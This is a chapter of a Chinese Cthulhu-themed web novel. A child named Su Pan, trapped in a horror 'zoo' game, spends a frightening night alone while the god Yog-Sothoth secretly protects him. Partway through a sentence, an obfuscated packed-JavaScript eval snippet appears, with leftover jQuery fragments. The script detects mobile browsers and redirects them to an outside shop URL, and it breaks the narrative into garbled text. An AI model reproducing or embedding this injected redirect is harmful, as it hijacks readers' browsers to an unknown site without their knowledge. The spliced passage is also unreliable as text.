文趣网 > 都市小说 > 不再依赖哥哥算长大吗[克苏鲁] > 8. 动物园(4)
    犹格淡淡地看了眼四周景象。

    祂的银发散开,面容完美,带着非人的冰冷与神性,鼻梁高挺,薄唇颜色很淡。

    为了不暴露身份,不被苏盼发现,祂对自己的外貌进行了认知方面的模糊。

    别人看得见祂的样子,却不会记住具体的面容。

    脚下是粗糙的沙砾尘土,空气中弥漫着游戏领域的特殊规则力场。

    对于犹格而言,挣脱规则的束缚并不难办,但游戏的基本规则已经通过契约成立,强行逆转会对游戏中的参与者造成不好的后果。

    想把苏盼安全带走,恐怕只能通过辅助他完成游戏任务这一条路。

    祂的眼眸微微转动,视线穿过层层建筑,轻易地锁定在那熟悉的生命气息上。

    是盼盼。

    他正在路上,和几个参赛者相伴。

    孩子拉着小行李箱,偶尔会因为看不清路踉跄一下,认知被扭曲后,以为自己是在逛动物园,心情还有些新奇。

    犹格指尖动了动。

    下一刻,祂的身影在表演场中央淡化,出现在宿舍建筑外围。

    祂看着那只队伍磕磕绊绊,终于有惊无险地抵达了建筑前。

    *

    苏盼张望着前方。

    几栋联排的陈旧三层楼房,外墙斑驳,爬满干枯的藤蔓,许多窗户玻璃破碎,像一双双黑洞洞的眼睛注视着来人。

    根据钥匙编号,六人的房间并不在同一栋楼,也不在同一层。

    “C栋……103……”

    苏盼借着李默手电的光,辨认着楼侧模糊的标识牌,看了看自己手心攥着的黄铜钥匙,“我的是这栋楼的一楼。”

    李默快速核对了一下其他人的房间,A栋101是光头,B栋207是他自己,D栋305是年轻女人,E栋102是学生,F栋08是沉默男。

    分布相当分散。

    “看来是要分开。”光头男人脸色难看,极度不情愿独自进入一栋黑漆漆的楼房。

    “规则只说午夜前抵达安全屋,没说必须单独待着。”年轻女人抱着胳膊,“我们……能不能先一起行动?先把每栋楼检查一下?”

    这个提议得到了学生和沉默男的无声赞同。

    李默看了一眼苏盼。

    孩子仰头看着眼前在黑暗中显得格外阴森的C栋小楼,小脸在微弱光线下有些发白,抱着兔子玩偶的手紧了紧,并没有哭闹。

    “先一起,快速检查这几栋楼的一层公共区域,确认没有明显的……危险。”

    李默做了决定,“然后各自回房,保持警惕,有任何不对劲就大声呼喊,其他人……尽量支援。”

    最后一句他说得有些艰难,在这种环境下,所谓的支援能有多少效果,谁心里都没底。

    但有个约定总比没有好。

    六人聚在一起,胆气似乎足了一些。

    他们先从最近的A栋开始,光头男人虽然不情愿,也只能硬着头皮打头阵。

    一楼是废弃的接待厅和几间上锁的办公室,灰尘积了厚厚一层,没有异状。

    B栋一楼是以前的员工活动室,散落着破损的桌椅和一台老式电视机。

    C栋,苏盼所在的楼。

    楼道里的声控灯早已损坏,只有手电筒发出着光亮。

    脚下的木质地板年久失修,每一步踩上去,都发出令人牙酸的声响。

    苏盼紧紧跟在李默身边,小手不自觉拽住了李默的衣角。

    “害怕了?”李默低声问。

    苏盼点点头,小声道:“有一点……这个地板声音好大。”

    有点像鬼屋qaq

    李默将手电光更稳地照向前方。

    C栋一楼的结构类似简易旅馆,一条长长的走廊,两侧是一个个房间门,门上钉着褪色的号码牌。

    103房间在走廊中段。

    路过其他房间时,有的门扉紧闭,有的虚掩着一条黑缝,手电光匆匆掠过,看不清里面有什么。

    苏盼总觉得,那些门缝后面好像有东西在看着他们。

    他更紧地抱住了兔子。

    终于到了103门前。

    深色的木门,油漆剥落,号码牌的3字有些歪斜。

    “是这里。”李默停下脚步,手电光落在门锁上。

    其他几人也检查完了C栋一楼的其他角落。

    “看来……只能到这里了。”光头男人看向苏盼,“小孩,你……自己进去,锁好门,不是我们任何人叫门,千万别开,记住没?”

    苏盼认真点头:“嗯!”

    哥哥以前也跟他说过,不可以给陌生人开门。

    年轻女人挤出一个安抚的笑,“盼盼很勇敢,天亮了我们就来找你,好吗?”

    “好!”苏盼给自己打气,掏出了钥匙。

    钥匙插入锁孔,转动。

    门开了,浓郁的陈腐气息扑面而来。

    李默用手电迅速扫了一遍屋内。

    简单的单间,一张单人床,一个衣柜,一张书桌,一把椅子。

    窗户紧闭,拉着厚厚的窗帘。

    “进去吧,快点锁门。”李默道。

    苏盼拉着他的小行李箱,走进房间,转身对门外的五人挥了挥小手:“哥哥姐姐们晚安,明天见!”

    门在李默面前轻轻关上。

    苏盼锁上了门。

    门外的五人面面相觑。

    李默低声道:“走,去下一栋。”

    脚步声渐渐远去,消失在楼道尽头。

    *

    房间里,苏盼背靠着冰凉的门板,静静听了一会儿。

    确认外面没有其他声音了,他才小小地松了口气。

    他打开自己行李箱上挂着的小兔子夜灯,淡淡的光勉强能拂开一些昏暗。

    借着灯光,他打量这个临时的房间。

    房间不大,很久没人住过,所有东西都蒙着一层灰。

    他走到窗边,想拉开窗帘看看外面,但窗帘仿佛被黏住了,只拉开一条小缝。

    外面黑漆漆的,什么也看不见,黑暗之外是更深的黑暗。

    苏盼连忙把窗帘拉严实。

    他记得规则上说午夜前要待在房间。

    现在应该已经快午夜了吧?

    他走到床边,拍了拍床单上的灰,打开小行李箱,拿出印着小星星的棉质睡衣和牙刷毛巾。

    没有哥哥帮忙,他自己笨拙但认真地完成了洗漱,换好睡衣,爬上了床。

    被子有股淡淡的霉味,但苏盼还是把它拉到了下巴,蜷缩起来,把兔子玩偶紧紧抱在怀里。

    夜灯放在床头柜上,暖黄的光晕笼罩着他小小的身影。

    好安静。

    这是苏盼第一次,在没有哥哥的晚上一个人睡觉。

    哥哥以前的每天晚上,都

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594573|205554||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    会在他睡前赶回来。

    可现在只有他和一只不会说话的毛绒兔子。

    他有点想哥哥了。

    鼻子酸酸的,苏盼用力眨了眨眼,把湿意憋回去。

    “不能哭,我是来赚钱帮哥哥的,要勇敢。”他小声对自己说,把脸埋进兔子柔软的肚子里,嗅着上面家里熟悉的味道。

    他闭上眼睛,努力数羊,想快点睡着。

    一只羊,两只羊,三只羊……

    不知数了多久,意识渐渐模糊。

    就在他即将沉入睡眠的时候,很轻很轻的沙沙声从门外传来。

    似乎是有什么东西拖着缓慢的步伐,在走廊的地板上摩擦。

    苏盼的睫毛颤了颤,数羊的动作停了下来。

    他屏住呼吸仔细听。

    地板被踩压的动静,从远处一点一点靠近。

    越来越近。

    停在了他的门外。

    苏盼的心跳得飞快,小手紧紧抓住兔子玩偶的耳朵,睁大眼睛,惊恐地盯着房门。

    门外……是什么?

    其他的哥哥姐姐,他们的房间不在这里啊……

    敲门声紧接着响起。

    苏盼猛地用被子捂住头,缩成一团。

    难道是节目组的叔叔阿姨们在开玩笑吗……

    一点也不好玩……

    很快,另一种声音出现了。

    像是有很多湿滑的东西在同时蠕动,刮擦门板,含糊不清的呜咽散开来。

    苏盼吓得浑身发抖,眼泪终于忍不住大颗大颗地滚落,浸湿了兔子玩偶和枕头,他咬住嘴唇,不敢发出一点声音。

    时间在恐惧中被拉得无限漫长。

    过了一会,门外的所有声音嘎然而止,仿佛刚才的一切只是一场过于逼真的噩梦。

    苏盼仍旧捂着被子,一动不敢动,竖着耳朵听了很久很久。

    外面很安静。

    过度紧张后的虚脱感袭来,加上一天的奔波劳累,孩子的精神终于支撑不住。

    苏盼保持着蜷缩的姿势,小手还紧紧抓着兔子,长长的睫毛上挂着泪珠,就这样在不安与疲惫中沉沉地睡了过去。

    *

    房门外,狭窄昏暗的走廊。

    犹格·索托斯静静站立在103号门前。

    祂来得稍晚一步,抵达C栋时,那东西已经贴在苏盼的门上。

    它是这座动物园饲养的动物,躯体膨胀溃烂,全身覆盖着不断翕动的惨白肉瘤。

    苏盼的认知扭曲会让他看不清那些被污染的人类,但是却能被动物的动静影响。

    就在那东西即将暴力破开老旧木门的刹那,犹格·索托斯出了手,将它的存在抹除。

    处理完微不足道的干扰,犹格的视线穿透了厚重的木门,落在房间内。

    光晕中,孩子蜷缩在床上,深棕色头发柔软地铺在枕上,小脸埋在兔子玩偶里,依稀可见未干的泪痕。

    眉头即使在睡梦中也无意识地微蹙着,嘴唇紧紧抿着,一只手还无意识地攥着被角。

    心跳频率稳定,体温正常。

    ……没有受伤。

    犹格的视线在泪痕上停留了瞬息。

    祂的目光扫过房间每个角落。

    奈亚的游戏规则虽然恶心,但在宿舍安全屋的定义上,至少在物理层面没有打折扣,这间屋子暂时是洁净的。

    祂可以进去。